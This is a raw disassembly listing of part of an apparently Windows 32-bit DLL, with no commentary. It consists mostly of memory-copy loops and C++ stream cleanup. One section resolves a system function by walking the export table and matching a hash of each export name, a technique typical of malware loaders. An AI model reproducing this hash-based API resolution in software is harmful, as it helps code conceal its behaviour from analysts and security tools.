xor ebx, ebx
nop word cs:[eax + eax]
mov edx, dword [esi + 0xc]
movups xmm0, xmmword [edx + ebx]
mov edx, dword [esi + 0x10]
movups xmmword [edx + ebx], xmm0
add ebx, 0xfffffff0
cmp dword [esi + 0x18], ebx
jne 0x10006a50
mov edx, dword [esi + 0x14]
cmp edi, edx
je 0x10006c6d
test dl, 0xc
je 0x10006bd0
mov ebx, edx
and ebx, 0xfffffffc
mov edx, ebx
neg edx
mov dword [esi + 0xc], edx
sub eax, ebx
mov dword [esi + 0x24], ebx
sub ecx, ebx
mov ebx, dword [esi + 0x14]
and ebx, 3
mov dword [esi + 0x18], ebx
mov ebx, dword [esi + 0x1c]
mov edx, dword [esi + 0x14]
add edx, ebx
add edx, 0xfffffffc
mov dword [esi + 0x10], edx
neg edi
mov ebx, dword [esi + 0x20]
mov edx, dword [esi + 0x14]
add ebx, edx
add ebx, 0xfffffffc
nop word cs:[eax + eax]
mov edx, dword [esi + 0x10]
mov edx, dword [edx + edi]
mov dword [ebx + edi], edx
add edi, 0xfffffffc
cmp dword [esi + 0xc], edi
jne 0x10006ac0
mov edx, dword [esi + 0x24]
cmp edx, dword [esi + 0x14]
mov ebx, dword [esi + 0x18]
jne 0x10006bd9
jmp 0x10006c6d
mov eax, dword [esi + 0x1c]
mov ecx, dword [esi + 0x20]
lea edx, [ebx - 1]
mov edi, ebx
and edi, 7
je 0x10006b1a
mov dword [esi + 0xc], edx
mov dword [esi + 0x10], ebx
xor ebx, ebx
nop dword [eax]
movzx edx, byte [eax + ebx]
mov byte [ecx + ebx], dl
inc ebx
cmp edi, ebx
jne 0x10006b00
add eax, ebx
add ecx, ebx
mov edx, dword [esi + 0x10]
sub edx, ebx
mov ebx, edx
mov edx, dword [esi + 0xc]
cmp edx, 7
jb 0x10006c6d
xor edi, edi
nop word cs:[eax + eax]
movzx edx, byte [eax + edi]
mov byte [ecx + edi], dl
movzx edx, byte [eax + edi + 1]
mov byte [ecx + edi + 1], dl
movzx edx, byte [eax + edi + 2]
mov byte [ecx + edi + 2], dl
movzx edx, byte [eax + edi + 3]
mov byte [ecx + edi + 3], dl
movzx edx, byte [eax + edi + 4]
mov byte [ecx + edi + 4], dl
movzx edx, byte [eax + edi + 5]
mov byte [ecx + edi + 5], dl
movzx edx, byte [eax + edi + 6]
mov byte [ecx + edi + 6], dl
movzx edx, byte [eax + edi + 7]
mov byte [ecx + edi + 7], dl
add edi, 8
cmp ebx, edi
jne 0x10006b30
jmp 0x10006c6d
mov edi, ebx
and edi, 0xfffffff0
xor eax, eax
mov edx, dword [esi + 0x20]
nop dword [eax]
movups xmm0, xmmword [ecx + eax]
movups xmmword [edx + eax], xmm0
add eax, 0x10
cmp edi, eax
jne 0x10006b90
cmp edi, ebx
je 0x10006c6d
test bl, 8
jne 0x10006bc8
mov ecx, dword [esi + 0x20]
add ecx, edi
mov eax, dword [esi + 0x1c]
add eax, edi
and ebx, 0xf
jmp 0x10006aeb
add ecx, ebx
add ecx, 0xfffffffe
jmp 0x10005f55
mov ecx, dword [esi + 0x1c]
jmp 0x100069a2
and edx, 0xf
sub ecx, edi
sub eax, edi
mov ebx, edx
lea edx, [ebx - 1]
mov dword [esi + 0x18], ebx
and ebx, 7
je 0x10006c0b
mov dword [esi + 0xc], edx
xor edi, edi
nop dword [eax]
movzx edx, byte [ecx]
mov byte [eax], dl
dec ecx
dec eax
inc edi
cmp ebx, edi
jne 0x10006bf0
mov ebx, dword [esi + 0x18]
sub ebx, edi
mov edx, dword [esi + 0xc]
cmp edx, 7
jae 0x10006c13
jmp 0x10006c6d
mov ebx, dword [esi + 0x18]
cmp edx, 7
jb 0x10006c6d
neg ebx
xor edi, edi
nop word [eax + eax]
movzx edx, byte [ecx + edi]
mov byte [eax + edi], dl
movzx edx, byte [ecx + edi - 1]
mov byte [eax + edi - 1], dl
movzx edx, byte [ecx + edi - 2]
mov byte [eax + edi - 2], dl
movzx edx, byte [ecx + edi - 3]
mov byte [eax + edi - 3], dl
movzx edx, byte [ecx + edi - 4]
mov byte [eax + edi - 4], dl
movzx edx, byte [ecx + edi - 5]
mov byte [eax + edi - 5], dl
movzx edx, byte [ecx + edi - 6]
mov byte [eax + edi - 6], dl
movzx edx, byte [ecx + edi - 7]
mov byte [eax + edi - 7], dl
add edi, 0xfffffff8
cmp ebx, edi
jne 0x10006c20
mov ebx, dword [0x1003b40c]
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
mov ecx, dword [ebx + eax + 0x1c]
mov dword [esi + 0x14], ecx
mov ecx, dword [ebx + eax + 0x24]
mov dword [esi + 0x1c], ecx
mov eax, dword [ebx + eax + 0x20]
add eax, ebx
mov dword [esi + 0x2c], eax
lea eax, [ebx + 3]
mov dword [esi + 0x28], eax
xor edi, edi
mov dword [esi + 0x24], ebx
jmp 0x10006cb3
cmp edx, 0x9a1b297c
mov edi, dword [esi + 0x10]
mov ebx, dword [esi + 0x24]
je 0x10006d63
inc edi
mov eax, dword [esi + 0x2c]
mov eax, dword [eax + edi*4]
mov dword [esi + 0xc], eax
add eax, ebx
push eax
call fcn.10015820
add esp, 4
test eax, eax
je 0x10006cb2
cmp eax, 4
mov dword [esi + 0x10], edi
mov dword [esi + 0x18], eax
jae 0x10006ce0
mov edx, 0x99
xor ecx, ecx
jmp 0x10006d2e
and eax, 0xfffffffc
mov ecx, dword [esi + 0x28]
mov edx, dword [esi + 0xc]
lea ebx, [ecx + edx]
mov edx, 0x99
xor ecx, ecx
nop word cs:[eax + eax]
movsx edi, byte [ebx + ecx - 3]
lea edx, [edx + edx*2]
add edx, edi
movsx edi, byte [ebx + ecx - 2]
lea edx, [edx + edx*2]
add edx, edi
movsx edi, byte [ebx + ecx - 1]
lea edx, [edx + edx*2]
add edx, edi
movsx edi, byte [ebx + ecx]
lea edx, [edx + edx*2]
add edx, edi
add ecx, 4
cmp eax, ecx
jne 0x10006d00
mov ebx, dword [esi + 0x18]
and ebx, 3
je 0x10006ca0
add ecx, dword [esi + 0xc]
add ecx, dword [esi + 0x24]
xor eax, eax
nop word cs:[eax + eax]
movsx edi, byte [ecx + eax]
lea edx, [edx + edx*2]
add edx, edi
inc eax
cmp ebx, eax
jne 0x10006d50
jmp 0x10006ca0
mov ecx, dword [esi + 0x14]
add ecx, ebx
mov eax, dword [esi + 0x1c]
add eax, ebx
movzx eax, word [eax + edi*2]
add ebx, dword [ecx + eax*4]
mov dword [esi + 0x3a8], 8
push 0x15
push 0xffffffffffffffff
push 0x400
push dword [esi + 0x20]
call ebx
push dword [0x1003b408]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
mov dword [esi + eax + 0x70], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esi + 0x70]
mov eax, dword [eax + 4]
lea ecx, [eax - 0x70]
mov dword [esi + eax + 0x6c], ecx
lea ecx, [esi + 0x80]
call fcn.10007d70
mov dword [esi + 0xe0], vtable.std::ios_base.0
mov dword [esi + 0x3a8], 5
lea eax, [esi + 0xe0]
push eax
call fcn.1000b26c
add esp, 4
mov eax, dword [esi + 0x44]
cmp eax, 0x10
jb 0x10006e19
mov ecx, dword [esi + 0x30]
lea edi, [eax + 1]
cmp edi, 0x1000
jb 0x10006e0f
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10006ea3
add eax, 0x24
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.1000b6cd
add esp, 8
mov eax, dword [esi + 0x184]
cmp eax, 8
jb 0x10006e59
mov ecx, dword [esi + 0x170]
lea edi, [eax*2 + 2]
cmp edi, 0x1000
jb 0x10006e4f
mov edx, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, edx
cmp ecx, 0x20
jae 0x10006ea3
add eax, eax
add eax, 0x25
mov edi, eax
mov ecx, edx
push edi
push ecx
call fcn.1000b6cd
add esp, 8
mov eax, dword [esi + 0x3a0]
mov dword fs:[0], eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
push str.Error
push str.Another_instance_is_already_running
jmp 0x10006eb4
call fcn.100056d0
mov dword [esi + 0x3a8], 0
call fcn.100056d0
call fcn.100056d0
mov dword [esi + 0x3a8], 7
call fcn.100056d0
call fcn.10013a71
push 0
push str.Error
push str.Resource_File_not_found
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push dword [0x1003b408]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call fcn.1001278b
call fcn.100056e0
mov dword [esi + 0x3a8], 0
call fcn.100056e0
test al, 2
mov ecx, str.ios_base::eofbit_set
mov edx, str.ios_base::failbit_set
cmove edx, ecx
test al, 4
mov edi, str.ios_base::badbit_set
cmove edi, edx
push 1
lea ebx, [esi + 0x48]
push ebx
call fcn.100075c0
add esp, 8
mov dword [esi + 0x3a8], 9
lea ecx, [esi + 0x50]
push ebx
push edi
call fcn.10007630
push 0x100367d8
lea eax, [esi + 0x50]
push eax
call fcn.1000c995
add esp, 8
test cl, 2
mov ecx, str.ios_base::eofbit_set
mov edx, str.ios_base::failbit_set
cmove edx, ecx
test al, 4
mov edi, str.ios_base::badbit_set
cmove edi, edx
lea ebx, [esi + 0x48]
push 1
push ebx
call fcn.100075c0
add esp, 8
mov dword [esi + 0x3a8], 0x10
lea ecx, [esi + 0x50]
push ebx
push edi
call fcn.10007630
push 0x100367d8
lea eax, [esi + 0x50]
push eax
call fcn.1000c995
add esp, 8
test dl, 2
mov ecx, str.ios_base::eofbit_set
mov edx, str.ios_base::failbit_set
cmove edx, ecx
test al, 4
mov edi, str.ios_base::badbit_set
cmove edi, edx
lea ebx, [esi + 0x48]
push 1
push ebx
call fcn.100075c0
add esp, 8
lea ecx, [esi + 0x50]
push ebx
push edi
call fcn.10007630
push 0x100367d8
lea eax, [esi + 0x50]
push eax
call fcn.1000c995
add esp, 8
lea esi, [ebp - 0x3ac]
mov ebp, dword [esi + 0x398]
xor edi, edi
jmp 0x100066f8